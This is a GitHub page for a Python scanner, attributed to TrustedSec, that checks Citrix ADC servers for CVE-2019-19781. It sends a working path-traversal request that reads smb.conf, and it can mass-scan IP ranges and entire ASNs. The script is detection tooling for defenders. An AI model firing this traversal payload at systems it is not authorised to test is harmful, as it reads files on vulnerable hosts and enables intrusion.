-
Notifications
You must be signed in to change notification settings - Fork 128
/
cve-2019-19781_scanner.py
executable file
·187 lines (157 loc) · 7.34 KB
/
cve-2019-19781_scanner.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python3
#
# Single check to see if the server is still vulnerable to CVE-2019-19781
# Written by: Dave Kennedy, @HackingDave
# Company: TrustedSec
#
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # disable warnings
import argparse
from netaddr import IPNetwork
import threading
import time
import subprocess
import re
def asn_to_ip(asn):
# use ASN listings to enumerate whois information for scanning.
cidr_list = []
command = 'whois -h whois.radb.net -- \'-i origin %s\' | grep -Eo "([0-9.]+){4}/[0-9]+" | head' % (asn)
asn_convert = subprocess.Popen([command], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stderr_read = asn_convert.stderr.read().decode('utf-8')
asn_convert = asn_convert.stdout.read().decode('utf-8').splitlines()
# if we don't have whois installed
if "whois: not found" in stderr_read:
print("[-] In order for ASN looks to work you must have whois installed. Type apt-get install whois as an example on Debian/Ubuntu.")
sys.exit()
# iterate through cidr ranges and append them to list to be scanned
for cidr in asn_convert:
cidr_list.append(cidr)
return cidr_list
# we need to do this hack job due to sanitization of urls in the latest version of urllib3
# special thanks to rxwx for the fix
def submit_url(url):
with requests.Session() as s:
r = requests.Request(method='GET', url=url)
prep = r.prepare()
prep.url = url
return s.send(prep, verify=False, timeout=2)
# our main function for testing the vulnerability
def check_server(target, targetport, verbose):
try:
print("Scanning for CVE-2019-19781 on: %s " % target, end="\r") # Cleaning up output a little
# if for some ungodly reason they are using HTTP
if targetport == "80":
url = ("http://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (target,targetport))
req = submit_url(url)
# for all other requests use HTTPS
else:
url = ("https://%s:%s/vpn/js/%%2e./.%%2e/%%76pns/cfg/smb.conf" % (target,targetport))
req = submit_url(url)
# if the system is still vulnerable
if ("[global]") in str(req.content) and ("encrypt passwords") in str(req.content) and("name resolve order") in str(req.content): # each smb.conf will contain a [global] variable
print("[\033[91m!\033[0m] This Citrix ADC Server: %s is still vulnerable to CVE-2019-19781." % (target))
vulnServers.append(target)
return 1
# if the system responds with a Citrix message (fixed) or a 403 (fixed)
elif ("Citrix") in str(req.content) or "403" in str(req.status_code): # only seen if system is not vulnerable
print("[\033[92m*\033[0m] Server: %s responded with a 403. If this is a Citrix Server, it is not vulnerable. Awesome!" % (target))
# if we run into something other than Citrix
else:
if verbose == True: print("[-] Server %s does not appear to be a Citrix server." % (target))
pass
# handle exception errors due to timeouts
except requests.ReadTimeout:
if verbose == True: print("[-] ReadTimeout: Server %s timed out and didn't respond on port: %s." % (target, targetport))
pass
except requests.ConnectTimeout:
if verbose == True: print("[-] ConnectTimeout: Server %s did not respond to a web request or the port (%s) is not open." % (target, targetport))
pass
except requests.ConnectionError:
if verbose == True: print("[-] ConnectionError: Server %s had a connection error on port (%s). SSL does not appear to be valid." % (target,targetport))
pass
def parse_target_args(target, port, verbose):
global counter
global threat
# cidr lookups for ASN lookups
if re.match ("as\d\d", target, re.IGNORECASE) :
CIDR_Blocks = asn_to_ip(target)
for ip_block in CIDR_Blocks:
for ip in IPNetwork(ip_block):
thread = threading.Thread(target=check_server, args=(ip,port,verbose))
thread.start()
time.sleep(0.05)
# wait for the threads to complete
thread.join()
# if we are iterating through IP addresses to scan CIDR notations
elif "/" in target:
for ip in IPNetwork(target):
counter = counter + 1
thread = threading.Thread(target=check_server, args=(ip,port,verbose))
thread.start()
time.sleep(0.05)
# wait for the threads to complete
thread.join()
# if we are just using 1 IP address
else:
counter = counter + 1
check_server(target, port,verbose)
print("""
_______ ________ ___ ___ __ ___ __ ___ ______ ___ __
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |/ _ \____ / _ \/_ |
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | (_) | / / (_) || |
| | \ \/ / | __|______/ /| | | || |\__, |______| |\__, | / / > _ < | |
| |____ \ / | |____ / /_| |_| || | / / | | / / / / | (_) || |
\_____| \/ |______| |____|\___/ |_| /_/ |_| /_/ /_/ \___/ |_|
CVE-2019-19781-Scanner
Company: TrustedSec
Written by: Dave Kennedy, @HackingDave
This will look to see if the remote system is still vulnerable to CVE-2019-19781. This
will only scan one host at a time.
You can use CIDR notations as well for example: 192.168.1.1/24
You can use hostnames instead of IP addresses also.
You can also use a file with IP addresses generated by an external tool.
Example: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443
Example2: python3 cve-2019-19781_scanner.py 192.168.1.1 443
Example3: python3 cve-2019-19781_scanner.py fakewebsiteaddress.com 443
Example4: python3 cve-2019-19781_scanner.py as15169 443
Example5: python3 cve-2019-19781_scanner.py 192.168.1.1/24 443 verbose
Example6: python3 cve-2019-19781_scanner.py file:hostfile 443
Usage: python3 cve-2019-19781_scanner.py targetip targetport
""")
def dummy():
pass
vulnServers = []
counter = 0
thread = threading.Thread(target=dummy)
thread.start()
# parse our commands
parser = argparse.ArgumentParser()
parser.add_argument("target", help="the vulnerable server with Citrix (defaults https)")
parser.add_argument("targetport", help="the target server web port (normally on 443)")
parser.add_argument("verbose", nargs="?", help="print out verbose information")
args = parser.parse_args()
# if we specify a verbose flag
if args.verbose:
verbose = True
else: verbose = False
try:
# specify file option to import host:port
if "file:" in (args.target):
print("[*] Importing in list of hosts from filename: %s" % (args.target))
with open(args.target.split(':')[1], 'r') as file:
hosts= file.read().splitlines()
for target_line in hosts:
parse_target_args(target_line, args.targetport, verbose)
# wait for the threads to complete
thread.join()
else:
parse_target_args(args.target, args.targetport, verbose)
# do a report on vuln servers
print("Finished testing %s servers: Found %s to be vulnerable. Below is a list system(s) identified:" % (counter, len(vulnServers)))
print("-" * 45)
for server in vulnServers:
print(server)
except KeyboardInterrupt:
print("[!] interrupt received, stopping..")
time.sleep(0.1)